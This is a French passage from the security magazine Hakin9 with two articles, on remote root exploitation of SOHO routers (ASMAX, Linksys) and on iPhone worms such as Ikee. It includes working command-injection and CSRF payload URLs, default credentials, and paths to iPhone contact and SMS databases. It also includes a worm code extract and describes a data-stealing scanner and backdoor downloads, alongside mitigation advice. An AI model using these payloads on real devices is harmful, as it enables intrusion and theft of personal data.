Est-il facile d'effectuer ce type d'attaque ? Pour répondre à cette question, regar-dons comment est créé le web manage-ment dans les périphériques de la classe personnelle :

• un léger serveur http est utilisé (sa qualité se trouve dans sa légèreté et non sa sécurité),

• l'application de gestion est préparée dans l'ancien style, CGI. Il s'agit sou-vent d'un logiciel écrit en C et compilé sous forme binaire,

• le serveur http fonctionne avec les droits root.

Pourquoi ce type de structures est-il em-ployé ? Puisque nous garantissons ainsi que le logiciel de gestion de périphériques ne consomme pas les ressources précieu-ses du matériel à une performance limitée. Et grâce aux droits de root, l'ensemble fonc-tionnera sans problèmes (droits maximaux équivalent à l'absence de problèmes relatifs à l'accès aux ressource définies).

Les caractéristiques intégrées de ce type de périphériques sont parfois les suivantes :

• utilisation d'une version non actuelle du serveur http (indications des er-reurs se trouvent par exemple, dans les fichiers changelog),

• absence d'une validation appropriée de l'entrée dans l'application qui sert à gérer le périphérique,

• utilisation des distributions Linux dé-veloppées (qui assurent par exemple des binaires comme wget et tftp).

Donc, en ce qui concerne la sécurité, ce n'est pas le meilleur choix.

Il est toujours possible d'ignorer ces problèmes et de bloquer complètement les messages initiés depuis Internet dans le pare-feu intégré. Un grand nombre de fabricants le fait dans la configuration par défaut. Mais cette solution, suffira-t-elle pour bloquer les intrus potentiels qui ten-tent d'effectuer une attaque en dehors de LAN ? Analysons deux exemples qui ré-sultent de nos recherches sur la sécurité des routeurs de la classe personnelle.

Routeur ASMAX – AR 804 gu (ADSL + WiFi)Nos recherches ont démontré qu'il reposait sur l'architecture matérielle MIPS (le proces-seur employé classe RISC). Du côté logiciel, l'ensemble Linux et BusyBox (le paquet d'ap-plications supplémentaires légères et utiles) est utilisé comme base. Mentionnons aussi que ce routeur bloque par défaut la com-munication effectuée depuis Internet.

Est-il donc possible d'attaquer un pé-riphérique depuis l'extérieur (c'est-à-dire, sans être dans LAN) ? Nous pensons tout de suite aux attaques de la classe CSRF (Cross Site Request Forgery) qui créent une sorte de point intermédiaire pour at-taquer le système cible depuis l'ordinateur où fonctionne le navigateur Internet. Avant de détailler la question de l'attaque CSRF dans le contexte des périphériques ré-seau, analysons la sécurité du routeur AS-MAX et de la console de gestion intégrée via le navigateur Internet. Il s'avère que :

• l'application Web de gestion utilisée est compilée dans le fichier exécuta-ble appelé webcm,

• cette application utilise notamment le paramètre getpage pour télécharger les données définies dans l'interface

Page 28: hakin9_2_2010_FR

28 HAKIN9 2/2010

DOSSIER ROOT DISTANT SUR UN PÉRIPHÉRIQUE RÉSEAU

29 HAKIN9 2/2010

administrative. L'exemple d'utilisation de ce paramètre se présente ainsi :

• http://192.168.1.1/cgi-bin/webcm?getpage =pointage_au_fichier_html&paramètre_suivant...

• les autres tests démontrent que le para-mètre getpage n'est pas validé correc-tement et permet de lire n'importe quel fichier dans le système d'exploitation (en particulier, le fichier webcm garantissant le support de l'administration du routeur),

• un autre problème est lié à la présence du fichier appelé script dans le réper-toire /cgi-bin/ (vous pouvez le trouver par un autre point faible : directory lis-ting dans le répertoire /cgi-bin/). Exé-cuter ce script ne fait rien de particulier (écran vide de résultat). Mais en utili-sant le point précédent, relatif au para-mètre getpage, il est possible d'afficher la source du fichier script. Il s'avère qu'il s'agit d'un script qui sert le plus proba-blement aux développeurs du fabricant à déboguer le routeur. Parmi plusieurs paramètres d'exécution, un paramè-tre avec un nom intéressant est dis-ponible : system. En transmettant ce paramètre, vous permettez d'exécuter n'importe quelle commande dans le système d'exploitation !

L'appel se présente de manière suivante :ht tp://192.168.1.1/cgi-bin/script?system% 20ps%20aux

La Figure 1 présente le résultat de cette commande.

• Vous vous rappelez qu'après avoir saisi l'adresse dans la console Web, vous voyez s'afficher un écran de connexion. Pour accéder à notre script, nous de-vons avoir un login et un mot de passe correct de l'administrateur de l'ordina-teur. Vraiment ? Pas nécessairement. Il s'avère qu'en cas d'accès au fichier script, cette restriction n'est pas exi-gée !

• Si nous ajoutons que le serveur http est lancé avec les droits d'utilisateur, nous nous rendons compte de la manière dont l'intrus peut effectuer une attaque à distante.

Attaque sur ASMAX AR 804 guNous présentons ci-dessous un exem-ple de chemin d'attaque, permettant de prendre le contrôle à distance du système d'exploitation du routeur (sachant qu'il s'agit d'un des plusieurs chemins possibles...). L'attaque est activée après que la victime visite un site Web ennemi et les étapes sui-vantes comprennent :

• l'attaque CSRF,• l'utilisation du point susceptible de la

classe Authentication Bypass pour le script script (ou plutôt : Lack of Authenti-cation),

• l'utilisation du point susceptible de la classe OS Commanding , permettant d'exécuter les commandes du sys-tème d'exploitation avec les droits de

root (un paramètre approprié transmis au script ),

• l'utilisation des outils disponibles dans le système du type wget/tftp, afin de télécharger une simple porte dérobée sur le routeur.

Vous connaissez donc les cadres du plan d'attaque. Passons au détail de la première étape : Cross Site Request Forgery.

Les attaques de la classe CSRF con-sistent à utiliser une certaine relation de confiance entre le navigateur Internet et le système attaqué à des buts hostiles. L'atta-que de ce type est indirecte et consiste à forcer le navigateur de l'utilisateur à réaliser des opération hostiles.

L'exemple d'une relation de confiance est une session active sur un site de banque. Nous profitons de la relation lorsque la victi-me ouvre un site Web préparé (dans ce cas-là, l'attaquant peut effectuer un virement non autorisé au nom de la victime). Autrement dit, alors que vous êtes connecté au site d'une banque et visitez en même temps un site Web malveillant, l'attaque CSRF peut être lan-cée pour voler l'argent de votre compte.

Ce type d'action peut être également réalisé au moment de la tentative d'attaque du routeur. Dans notre cas, en raison des points susceptibles indiqués ci-dessus (principalement : Authentication Bypass ), l'attaque est simplifiée. Nous utilisons à présent une autre relation de confiance, à savoir, la présence de la station avec un navigateur Internet dans le réseau LAN (d'après cette localisation, vous avez un accès réseau à la console de gestion). Utiliser cette relation consistera à appeler de manière non autorisée du fichier script analysé ci-dessus.

Plus précisément, afin d'appeler n'im-porte quelle commande dans le système d'exploitation où fonctionne le routeur de la victime, il suffit :

• de placer la balise HTML : <img

src=http://192.168.1.1/cgi-bin/

script?système%20commande%20pa

ramètres>; sur un site Web,• de convaincre la victime de visiter ce

site.

Par la suite, la porte dérobée sera automa-tiquement téléchargée depuis le serveur Figure 1. Exécution de la commande dans le système d'exploitation – routeur ASMAX

Page 29: hakin9_2_2010_FR

28 HAKIN9 2/2010

DOSSIER ROOT DISTANT SUR UN PÉRIPHÉRIQUE RÉSEAU

29 HAKIN9 2/2010

de l'attaquant via le client tftp. Enfin, le script ennemi confronte la double communica-tion avec la machine de l'intrus (grâce, par exemple, à l'option d'envoi des fichiers par le client tftp) en donnant ainsi à l'attaquant la possibilité d'effectuer des commandes à distance en tant que root.

Afin de dissiper les doutes quant à l'aspect théorique du scénario, sachez que l'attaque fonctionnant pour ce modèle de routeur a été présentée en temps réel pendant la conférence Confidence 2009. Regardons à présent les caractéristiques d'une attaque de ce type :

• elle est quasiment indétectable pour une victime non expérimentée,

• elle ne nécessite pas d'utiliser JavaS-cript (et le logiciel du type NoScript ne protège pas contre l'attaque),

• l'attaque ne nécessite pas un mot de passe d'administration pour le routeur (modifier le mot de passe d'accès au périphérique ne protège pas contre l'attaque, la propriété acquise grâce au point faible : Authentication Bypass ),

• l'attaque fonctionne quelque soit le blo-cage des connexions depuis Internet ( la propriété acquise grâce à l'attaque CSRF),

• l'attaque nécessite que la victime visite le site avec le code HTML malveillant (remarquez toutefois que de nombreux serveurs permettent de joindre un fi-chier graphique avec la source qu'ils contrôlent),

• il n'est pas nécessaire d'être logué à la console de gestion lors de l'accès au site Web hostile (la propriété acquise grâce au point faible Authentication By-pass ).

Ajoutons aussi que les points faibles ana-lysés ci-dessous ont été vérifiés sur le fir-mware le plus récent : 66.34.1. Au moment de préparer l'article, nous ne pouvons pas prévoir si le fabricant publiera des correc-tifs de ces erreurs.

Remarquons aussi que si l'attaque de ce type était effectuée sur l'infrastructure de la classe entreprise, la source de l'attaque (adresse IP) notée éventuellement dans les journaux log du système se trouverait dans le réseau local. La communication effectuée depuis LAN est en général filtrée

à moindre degré que celle en provenance de l'Internet. De plus, dans l'infrastructure entreprise, l'existence d'un point faible permettant d'exécuter une commande du système d'exploitation peut avoir des con-séquences néfastes (les utilisateurs avec des droits dif férents ont souvent accès à la console d'administration et le point faible de ce type peut servir à contourner les mé-canismes d'autorisation).

Linksys WAG54G2 L'un des périphériques Linksys de Cisco est un autre exemple de possibilités d'atta-que sur le routeur personnel. Son fonction-nement repose sur l'architecture matérielle ARM. Les points faibles décrits ci-dessous ont été vérifiés par nos soins sur un firm-ware V1.00.10. En janvier 2009, Cisco a pro-posé un nouveau firmware qui corrigeait le plus probablement ces erreurs.

Dans le cas de ce routeur, il est possi-ble d'exécuter les commandes du système d'exploitation grâce à la faille dans le logiciel Web de la console de gestion. Plus préci-sément, les paramètres d'entrée ne sont pas correctement validés lors de l'appel système de la commande ping depuis la console Web. L'application est susceptible à l'injection de la commande du système d'exploitation en utilisant les caractères tels que : ; & | `̀ %0a – donc une manière traditionnelle pour profiter du point faible OS Commanding dans les applications Web.

En préparant la requête http d'une ma-nière appropriée, il est possible d'exécuter une commande système (en tant que root) sur le système Linux qui contrôle le routeur.

Une request http appropriée se pré-sente de manière suivante (c'est une re-quête originale du type POST codé sur la méthode GET) – Listing 1.

La Figure 2 présente la réponse à cette request .

Comme vous pouvez le constater, la requête utilise en plus un en-tête http ap-pelé Authorization où il faut transmettre le nom correct et le mot de passe de l'ad-ministrateur au routeur. Vu que la plupart des personnes ne modifient pas le mot de passe administratif par défaut du routeur, il est possible d'effectuer une attaque simi-laire dans le cas du périphérique ASMAX. Nous pouvons reposer le plus simple proof of concept de l'attaque de ce type sur l'uti-lisation d'une erreur dans les navigateurs Firefox. Après que nous ayons saisi l'URL préparée selon le schéma http://user:[email protected]/ dans la barre d'adresses du navigateur, ce dernier nous demande de confirmer si nous voulons vraiment nous connecter avec l'utilisateur/le mot de passe précisé. Si nous utilisons img dans la structure ci-dessus dans la balise html, l'alerte n'est pas générée. En se fondant sur ce fait, l'attaquant peut préparer un site avec la balise html qui se présente de la manière suivante : Listing 2.

Listing 1. Accéder en tant que root sur le routeur Linksys depuis la console d'admi-nistration

GET /setup.cgi?ping_ipaddr1=9&ping_ipaddr2=9&ping_ipaddr3=9&ping_ipaddr4=9&ping_

size=60&ping_number=1&ping_interval=1000&ping_timeout=5000

&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&

next_file=Diagnostics.htm&c4_ping_ipaddr=9.9.9.9;/bin/ls%20-

l&message= HTTP/1.1

Authorization: Basic YWRtaW46YWRtaW4=

Figure 2. Point faible de OS Commanding dans le routeur Linksys

Page 30: hakin9_2_2010_FR

30 HAKIN9 2/2010

DOSSIERSi l'utilisateur est en possession du

routeur analysé et n'a pas modifié le mot de passe par défaut, il ne remarquera pas qu'une commande avec les droits de l'uti-lisateur root a été exécuté (les personnes qui ont modifié le mot de passe verront s'afficher une fenêtre de connexion du routeur).

Conséquence de l'attaque – psyb0tLa détection d'un ver attaquant les routeurs et les modems DSL de la classe SOHO était un cas largement commenté au dé-but de 2009. Ce ver, appelé psyb0t , ajoutait les ordinateurs infectés au botnet qui à son tour effectuait une attaque DDoS sur Dro-neBL. Les données sur le botnet ne sont pas nombreuses (sans parler d'informa-tions à sensation sur les portails populai-res). Nous savons à 100 % que le ver :

• se propageait via les interfaces d'ad-ministration partagées dans le Net (uti-lisation des mots de passe par défaut ou dictionnaire sur les ordinateurs),

• une fois l'accès root via l'interface d'ad-ministration obtenu, la suite de l'infec-tion consistait à télécharger un fichier binaire depuis un serveur défini et à le lancer sur l'ordinateur. À ce moment-là, avait lieu la connexion au serveur IRC où un zombie attendait la suite d'instructions (par exemple, chercher d'autres périphériques susceptibles où il est possible d'installer le ver). Toutes les connexions administratives sont bloquées sur l'ordinateur infecté,

• le ver attaquait les périphériques fon-dés sur l'architecture MIPS lit tle endian (le fonctionnement du routeur ASMAX susmentionné repose justement sur ce type de matériel, n'oublions pas non plus que le code compilé pour l'architecture matérielle donnée ne fonctionnera pas sur d'autres plates-formes),

• implémentation de plusieurs types d'at-taques (y compris plusieurs attaques dif férentes DoS, scan à la recherche des serveurs MySQL avec failles ou des installations phpMyAdmin suscep-tibles),

• un logiciel prêt a été le plus proba-blement utilisé pour créer les botnets (l'une des commandes de contrôle de botnet peut en témoigner : .r00t utili-sant vmsplice() exploit pour obte-nir l'accès en tant que root depuis le niveau d'un utilisateur avec moins de droits. N'oublions pas que l'accès ad-ministratif était assuré à perfection sur les ordinateurs infectés),

• le ver a infecté près de 100 000 ordina-teurs.

Le botnet a terminé officiellement le fonc-tionnement avec le message sur son ca-nal IRC :

* Now talking on #mipsel * Topic for #mipsel is: .silent on .killall .exit ._exit_ .Re-search is over: for those interested i rea-ched 80K. That was fun :), time to get back to the real life....

En analysant le cas psyb0t , nous pou-vons donc voir que l'utilisation des périphé-riques réseau de la classe SOHO dans les buts hostiles, c'est un fait. Le scénario de l'attaque est relativement simple et uni-versel (utilisation des interfaces d'adminis-tration partagées et des mots de passe faibles, voire des mots de passe par dé-faut). Nous pouvons probablement nous attendre dans l'avenir à d'autres attaques analogues « invisibles » sur d'autres pla-tes-formes matérielles. Avec le temps, les techniques plus avancées seront sûrement utilisées et consisteront à utiliser d'autres erreurs : dans la configuration de périphé-riques ou d'erreurs dans le logiciel des or-dinateurs.

Il est aussi conseillé de faire attention au fait que ce type d'attaques s'effectuent à l'endroit considéré comme assez sécurisé.

Les utilisateurs à domicile considèrent ce type de périphériques comme des boîtes noires sûres qui fonctionnent très bien et peu de personnes fait des mises à jour pé-riodiques du firmware sans parler de scan-ner ce type de systèmes à la recherche des chevaux de Troie/des vers/ou autres logiciels malveillants. De plus, très peu d'utilisateurs modifient les mots de passe d'accès par défaut aux périphériques. Du point de vue des attaquants, le fait que les ordinateurs de cette classe ne sont quasi-ment jamais éteints (contrairement à des ordinateurs ordinaires) n'est pas sans im-portance.

Autres conséquences de l'attaqueÀ part les attaques DdoS susmentionnées ou la possibilité d'une attaque directe sur d'autres périphériques/serveurs, il est pos-sible d'écouter le trafic ou d'effectuer des attaques actives de la classe MiTM (Man in The Middle), par exemple, sur les con-nexions aux sites de banques (directement, sur le protocole https ou indirectement, en interceptant et en modifiant les requêtes DNS). D'autres opérations traditionnelles de ce type sont à prendre en considéra-tion, comme envoi des spams. Bref, toutes les attaques qui se caractérisent par l'ac-cès non autorisé à notre réseau LAN.

Les points faibles présentés dans l'article peuvent être aussi considérés comme éducatifs, non liés à la sécurité elle-même. Nous obtenons en ef fet un accès complet à un matériel pas cher avec une architecture dif férente que x86 populaire. De plus, nous avons un systè-me d'exploitation ouvert, disponible, pré-configuré qui fonctionne sans problème. Cela peut constituer un bon démarrage pour apprendre l'assembleur pour des processeurs atypiques ou pour aider à analyser la structure et la configuration interne des périphériques de cette classe. Si vous vous intéressez à ce type d'opé-rations, prenez connaissance du texte qui explique comment lancer un logiciel ar-gus d'une manière plus organisée (c'est l'une des applications les plus intéressan-tes utilisées avec NSM (Network Security Monitoring )) sur le routeur Linksys (voir l'encadre « Sur le Net »). Dans un tel cas, vous trouverez utile le sujet lié aux com-

Listing 2. Utilisation de l'erreur dans Firefox pour effectuer l'attaque CSRF

<img src='http://admin:[email protected]/setup.cgi?ping_ipaddr1=1&ping_

ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_t

imeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnost

ics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/

touch%20/tmp/yyyyQ&message='>

Page 31: hakin9_2_2010_FR

pilateurs croisés (qui permettent de créer un code exécutable pour une autre plate-forme que celle où fonctionne le compila-teur.) et aux projets : routertech et openwrt (qui fournissent des firmwares alternatifs pour de nombreux périphériques de la classe SOHO.

Comment prévenir ce type d'attaques ? Comme vous l'avez vu auparavant, mo-difier un mot de passe par défaut ne constitue pas une protection à 100 % (voir : les points faibles de la classe Authentication Bypass mentionnés auparavant). De même, une actualisation périodique de firmware peut nous laisser sensible aux attaques (les fabricants igno-rent parfois les problèmes de sécurité ; préparer un nouveau firmware se calcule souvent en mois). Ces deux étapes font toutefois partie des méthodes de protec-tion les plus efficaces.

Une bonne pratique consiste égale-ment à ne pas partager les interfaces d'administration en dehors de LAN.

La méthode la plus simple pour se protéger contre les attaques CSRF sus-mentionnées sur les périphériques con-siste à modifier l'adresse IP interne par défaut de l'ordinateur. Parfois, les fabricants ne prévoient pas une telle possibilité et en plus, ce n'est pas un élément de base de la protection mais plutôt un élément sup-plémentaire. Dans ce cas-là, la méthode la plus efficace consiste à configurer le proxy dans le navigateur Internet de sorte que

les connexions htpp au réseau avec des adresses privées échouent (il est possible de le faire via le mécanisme d'auto-confi-guration du proxy ou en utilisant le plug-in approprié au navigateur Internet, par exem-ple, FoxyProxy).

Bien évidemment, une protection très efficace consisterait à concevoir des pé-riphériques réseau en pensant depuis le début à la sécurité mais en général, nous n'avons aucune influence dessus.

ConclusionNous avons présenté plusieurs problè-mes de sécurité caractéristiques pour les périphériques réseau. Nous avons égale-ment analysé des points faibles concrets dans deux modèles de routeurs de la classe SOHO, en indiquant des possibi-lités potentielles de protection contre les attaques.

Nous espérons avoir encouragé les personnes curieuses à faire leurs propres recherches. Il arrive en effet souvent que les périphériques de ce type se trouvent sous la main et les points faibles ne sont pas très dif ficiles à trouver. Nous vous in-vitons aussi à faire partager vos résultats et à développer la base du projet Devices Hacking.

Michał SajdakIl a une expérience de plusieurs années dans les do-maines de IT security et Software. Il a réalisé des audits de sécurité, y compris les tests de pénétration, pour les plus grandes organisations en Pologne. Certifié CISSP, il s'intéresse à la sécurité des applications et en particulier, des applications Web. Il est aussi directeur de dévelop-pement dans la société Securitum.

Sur le Net• http://www.cisco.com/en/US/docs/security/asa/asa80/license/opensrce.html,• http://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-fx.pdf,• http://secunia.com/advisories/18393/,• http://www.zlib.net/,• http://www.upnp-hacks.org/fosdem2008-presentation.pdf ,• http://www.gnucitizen.org/blog/router-hacking-challenge/,• http://www.owasp.org/index.php/CSRF,• https://bugzilla.mozilla.org/show_bug.cgi?id=496365 ,• http://www.dronebl.org/blog/8 ,• http://www.ifp.illinois.edu/~nakazato/tips/xgcc.html ,• http://cross-lfs.org/view/1.0.0/mips/index.html ,• http://www.routertech.org/index.php,• http://openwrt.org/, • http://geek00l.blogspot.com/2009/04/argus-3x-on-linksys-wrt54gl.html ,• http://www.milw0rm.com/exploits/9209,• http://users.adam.com.au/bogaurd/PSYB0T.pdf?info=EXLINK .

Page 32: hakin9_2_2010_FR

32 HAKIN9 2/2010

FOCUS

33 HAKIN9

LES PREMIERS VIRUS IPHONE SONT LÀ !

2/2010

FOCUS

L'évolution des téléphones portables nous a permis de posséder de véritables ordinateurs de poche reliés constamment

à Internet, offrant aux utilisateurs toutes les fonctionnalités que cela apporte mais également son lot de vulnérabilités.

Le succès de l'iPhone a récemment attiré la curiosité de hackers qui ont réussi à trouver une faille dans le téléphone d'Apple et à l'exploiter. Et niveau exploitation, nous avons été gâtés puisqu'un ver a de suite fait son apparition, le ver Ikee, contaminant de nombreux utilisateurs australiens, pays d'origine du développeur du virus. Ce ver n'a pas eu de graves conséquences mais a permis de mettre en avant une vulnérabilité affectant tous les iphones jailbreakés avec OpenSSH (1) configuré par défaut.

Nous allons tout d'abord étudier la vulnérabilité et son exploitation avec le code du ver Ikee. Ensuite, nous verrons la faiblesse qu'entraine le jailbreak en facilitant l'accès aux informations de l'utilisateur et nous constaterons qu'aucune protection n'a été mise en place par Apple en protection d'un code malicieux. Nous continuerons par le développement d’un script en Python permettant d'exploiter la vulnérabilité puis de récupérer les informations personnelles d'un utilisateur afin de démontrer la simplicité d'exploitation de cette vulnérabilité en augmentant son impact. Enfin, nous vous indiquerons quand même comment vous protéger afin d’éviter que votre iPhone ne soit piraté !

RÉMI LAURENT

CET ARTICLE EXPLIQUE...La vulnérabilité exploitée par les premiers virus iPhone

Comment sont stockées les informations dans l'iPhone

Les faiblesses qu'apporte le jailbreak

Comment se protéger du ver Ikee et de ses variantes

CE QU'IL FAUT SAVOIR...Notions sur Sqlite

Notions en Python

Notions en shell

Configuration par défaut d'OpenSSHL'iPhone est un téléphone tout public sur lequel beaucoup de personnes y appliquent un jailbreak et y installent un serveur OpenSSH sans savoir concrètement ce qu'elles font et sans avoir été sensibilisées aux risques auxquels elles s'exposent en ef fectuant ces manipulations.

Jailbreaker son iPhone consiste à débloquer son téléphone afin d'y installer des applications provenant d'autres sources que l'App Store (2). Une méthode afin d'installer ces applications consiste à ajouter un serveur OpenSSH via Cydia (3) sur l'iPhone afin d'y déposer des applications récupérées sur Internet.

Cependant, l'iPhone possède 2 comptes par défaut, mobile et root, ayant un mot de passe connu : alpine. Ainsi, dès l'installation du serveur OpenSSH, l'iPhone devient accessible à tous tant que ces mots de passe restent inchangés comme montré au Listing 1.

De plus, peu de personnes s'en sont rendu compte mais l'iPhone se connecte automatiquement à votre réseau wifi lorsqu'il est en charge. Le téléphone se retrouve donc très souvent vulnérable.

Le ver Ikee (4)Constatant la simplicité d’exploitation de cette vulnérabilité, un jeune australien du nom d’Ashley Towns a décidé de la dévoiler au grand jour en

Degré de difficulté

Les premiers virus iPhone sont là !Ikee et Iphone/Privacy.A. Voici les doux noms des premiers virus ciblant l'iPhone d'Apple. Souvent mis en avant pour les fonctionnalités qu'il apporte, nous verrons que le jailbreak met en danger la confidentialité et l'intégrité de vos données.

Page 33: hakin9_2_2010_FR

32 HAKIN9 2/2010

FOCUS

33 HAKIN9

LES PREMIERS VIRUS IPHONE SONT LÀ !

2/2010

FOCUSdéveloppant un ver en C qui scanne des réseaux prédéfinis et dont l'action principale consiste à modifier le fond d'écran de la victime en y mettant le portrait de Rick Astley, une star pop anglaise des années 80.

Le Listing 2 montre que le ver a un comportement très basique. Une fois installé sur l'iPhone en se connectant par SSH via le compte root, il configure l'iPhone pour changer le fond d'écran à chaque démarrage (ChangeOnBoot();) puis il coupe le serveur SSHD afin que la vulnérabilité ne soit plus exploitée (KillSSHD();) et enfin scanne le LAN et des plages d'IP sur Internet afin de se propager.

Ce ver n'a eu que très peu d'effet mais il aurait pu en être tout autrement comme nous le verrons par la suite.

Stockage des données sur iPhoneCe premier ver n’était qu’une alerte car il ne provoquait aucun dommage. Cependant, nous allons voir qu'une fois connecté à un iPhone via SSH, il est possible d'obtenir des informations confidentielles comme la liste des contacts, des SMS ou des e-mails.

Les faiblesses du jailbreakJailbreaker son iPhone est devenu une opération assez triviale puisqu'il existe des applications automatisant cette opération comme blackra1n (5) du maintenant célèbre George Hotz (6). Il n'y a qu'à brancher l'iPhone, lancer le programme et attendre 2 minutes. Le problème c'est que peu de personnes ont vraiment cherché à comprendre à quoi elles s'exposaient avant de faire cela.

Apple a choisi à la base de fermer complètement son téléphone, c'est-à-dire que pour y ajouter une application, il est nécessaire de passer par l'App Store fourni par le téléphone. Les applications présentes sur ce dépôt ont été testées et répondent à des critères définis par Apple pour juger de la qualité et de la sécurité pour l'utilisateur. Certes, récemment, des dérives ont été vues comme la récupération du numéro de téléphone d'utilisateurs ou de toute autre information en utilisant le SDK

de l'iPhone (7), ce qui n'avait pas été identifié par Apple. Mais ce n'est pas le sujet ici :)

Apple contrôle donc ses applications et, afin de s'assurer de leur intégrité, utilise un système de signature numérique pour certifier l'origine du programme. Apple agit donc comme acteur de confiance mais s'accorde, en contre-partie, le droit de sélectionner les applications qui seront proposées dans l'App Store ce qui dérange beaucoup d'utilisateurs souhaitant installer des applications qui auraient été refusées par Apple et qui décident alors de jailbreaker leur téléphone.

Le jailbreak permet d'ouvrir le téléphone (au sens figuré) et d'installer des applications sans passer par l'App Store et donc, sans être soumis au système de signature d'Apple. Ainsi, il est possible d'installer n'importe quelle application téléchargée en la plaçant sur l'iPhone via OpenSSH ou en utilisant par exemple une boutique d'applications non of ficielle comme Cydia. Le chainon de confiance est alors rompu et rien ne permet de prévoir à l'avance le comportement de l'application installée. Pour faire un parallèle avec un ordinateur classique, cela revient à installer une application piratée via P2P. La seule protection est alors de croiser les doigts et espérer que rien de néfaste n'arrive. Toutes vos données, contacts, SMS, e-mails, photos, musiques se retrouvent accessibles et manipulables par ces logiciels sans garantie d'une mauvaise utilisation de leur par t .

Stockage des contacts / SMS et emailsLes données les plus importantes et les plus convoitées sont les données personnelles du propriétaire du téléphone, c'est-à-dire ses contacts, ses SMS et ses e-mails. Une fois le jailbreak appliqué il est possible d'y accéder et de les récupérer via SSH.

Les mails sont stockés dans le répertoire /private/var/mobile/Library/Mail/

Pour les lire, rien de compliqué, ils sont stockés en fichier texte en clair donc, il suffit de les télécharger et de les lire directement. Si vous observez des caractères bizarres, c’est tout simplement une pièce jointe encodée en base64, l’encodage servant à assurer l’intégrité lors d’un envoi de mail. Un simple script PHP utilisant la fonction base64 _

decode() vous permettra de récupérer la pièce jointe.

Les contacts sont placés dans le fichier /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb

Les SMS sont du même type et sont placés dans le fichier /private/var/mobile/Library/SMS/sms.db

Rapatrions maintenant les contacts pour analyser leur structure. Comme le montre le Listing 3, les contacts sont stockés dans un fichier Sqlite 3. Cette base n'est pas chif frée ni protégée par une quelconque sécurité et une simple commande de dump avec sqlite3 nous affichera la base de données complète des contacts de la victime, sa structure et ses données.

L'ensemble des informations des contacts (numéro de téléphone,

Références• (1) http://www.openssh.com/ – site officiel de OpenSSH,• (2) http://store.apple.com/fr – site officiel de l’Apple Store• (3) http://cydia.saurik.com/ – Cydia, l’application non officielle d’installation d’applications

iPhone• (4) http://vx.netlux.org/src_view.php?file=ikee.zip – code source du ver Ikee,• (5) http://blackra1n.com/ – site de blackra1n, l’application pour jailbreaker l’iPhone• (6) http://fr.wikipedia.org/wiki/George_Hotz – Page sur George Hotz• (7) http://github.com/nst/spyphone/ – accès aux informations de l'iPhone depuis le SDK,• (8) http://www.lag.net/paramiko/ – site de la librairie Python Paramiko• (9) http://developer.apple.com/iphone/program/ – site officiel de développement sur

iPhone

Page 34: hakin9_2_2010_FR

FOCUS

34 HAKIN9 2/2010

LES PREMIERS VIRUS IPHONE SONT LÀ !

35 HAKIN9 2/2010

adresse email) est stocké dans la table ABMultiValue . Les noms des contacts sont, eux, stockés dans la table ABPerson .

De la même manière, il est possible par exemple de modifier des entrées par la commande SQL Update . Ainsi, nous pourrions imaginer un scénario d'attaque où le pirate modifie le numéro

de téléphone de tous les contacts des iPhones sur lesquels il arrive à se connecter afin de mettre un numéro payant en 08 XX XX XX XX comme le montre le Listing 4 puis, il renverra toujours par SSH cette base de contact sur l'iPhone des victimes.

De la même manière, nous voyons que le fichier de SMS est également un fichier

Sqlite lisible sans aucune manipulation particulière (cf : Listing 5).

Il suffit donc de lire la table message de la base sms.db pour obtenir la liste complète des SMS ainsi que les numéros des destinataires des messages envoyés et les numéros d'origine des messages reçus.

Apple n'a pas protégé ces informations de par sa politique de fermer complètement le système.

Ainsi, en jailbreakant l’iPhone, tous les critères de sécurité se retrouvent affectés : la disponibilité si le pirate décide de supprimer les données ou le système, l'intégrité et la confidentialité.

Développement d'un PoCMaintenant que nous avons vu le détail de la vulnérabilité OpenSSH et où sont stockées les informations de l'iPhone, voyons comment automatiser ces actions afin de développer un script permettant de scanner un réseau et de voler les contacts et SMS de tous les iPhones présents sur ce réseau. Ce script sera développé en Python (voir Listing 6).

Le principe est simple : notre script scanne tout d'abord un réseau en /24 en tentant de se connecter au port SSH (22) de toutes les IPs de la plage réseau choisie. Si le client répond, son IP est placée dans une liste (ip _ list). Une fois le scanne terminé, le script tente de se connecter aux IPs de ip _ list avec le mot de passe par défaut du compte root de l'iPhone, "alpine" (t.connect(hostname, port=port, username=username,

password=password)). S'il arrive à se connecter, il rapatrie alors les fichiers de contacts et de SMS de l'iPhone sur l'ordinateur de l'attaquant (ftp.get(sms _

remote, local _ file _ ok)).Pour réaliser la connexion et le transfert

des fichiers par SSH, nous utiliserons la librairie Paramiko (8).

Transformer l’iPhone en zombie de BotnetMaintenant que nous avons volé toutes les données, nous allons pousser le vice en transformant l'iPhone piraté en un zombie de Botnet grâce à un simple script shell que vous pouvez voir dans le

Listing 1. Connexion SSH vers un iPhone

(cloud ~) 0 $ ssh [email protected]

The authenticity of host '192.168.0.2 (192.168.0.2)' can't be established.

DSA key fingerprint is 3f:3e:55:3f:9e:9d:14:c9:68:59:fa:45:89:2a:09:f2.

Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.0.2' (DSA) to the list of known hosts.

[email protected]'s password: alpine

iPhone:~ root# uname -a

Darwin iPhone 10.0.0d3 Darwin Kernel Version 10.0.0d3: Wed May 13 22:11:58 PDT 2009;

root:xnu-1357.2.89~4/RELEASE_ARM_S5L8900X iPhone1,2 arm N82AP

Darwin

Listing 2. Extrait du main() du ver Ikee

int main(int argc, char *argv[])

{

if(get_lock() == 0) { syslog(LOG_DEBUG, "I know when im not wanted *sniff*");

return 1; } // Already running. sleep(60); // Lets wait for the network to come up 2 MINS syslog(LOG_DEBUG, "IIIIIII Just want to tell you how im feeling");

char *locRanges = getAddrRange();

char *lanRanges = "192.168.0.0-192.168.255.255";

char *vodRanges1 = "202.81.64.0-202.81.79.255";

...............

char *telRanges = "58.160.0.0-58.175.255.25";

syslog(LOG_DEBUG, "awoadqdoqjdqjwiodjqoi aaah!");

ChangeOnBoot();

KillSSHD();

// Local first

while (1) {

syslog(LOG_DEBUG, "Checking out the local scene yo");

scanner(locRanges);

syslog(LOG_DEBUG, "Random baby");

int i;

for (i=0; i <= 2; i++) {

char *ipaddr = randHost();

char *rrange;

asprintf(&rrange, "%s.0-%s.255", ipaddr, ipaddr);

scanner(rrange); }

// Lan

syslog(LOG_DEBUG, "Lannnnn");

scanner(lanRanges);

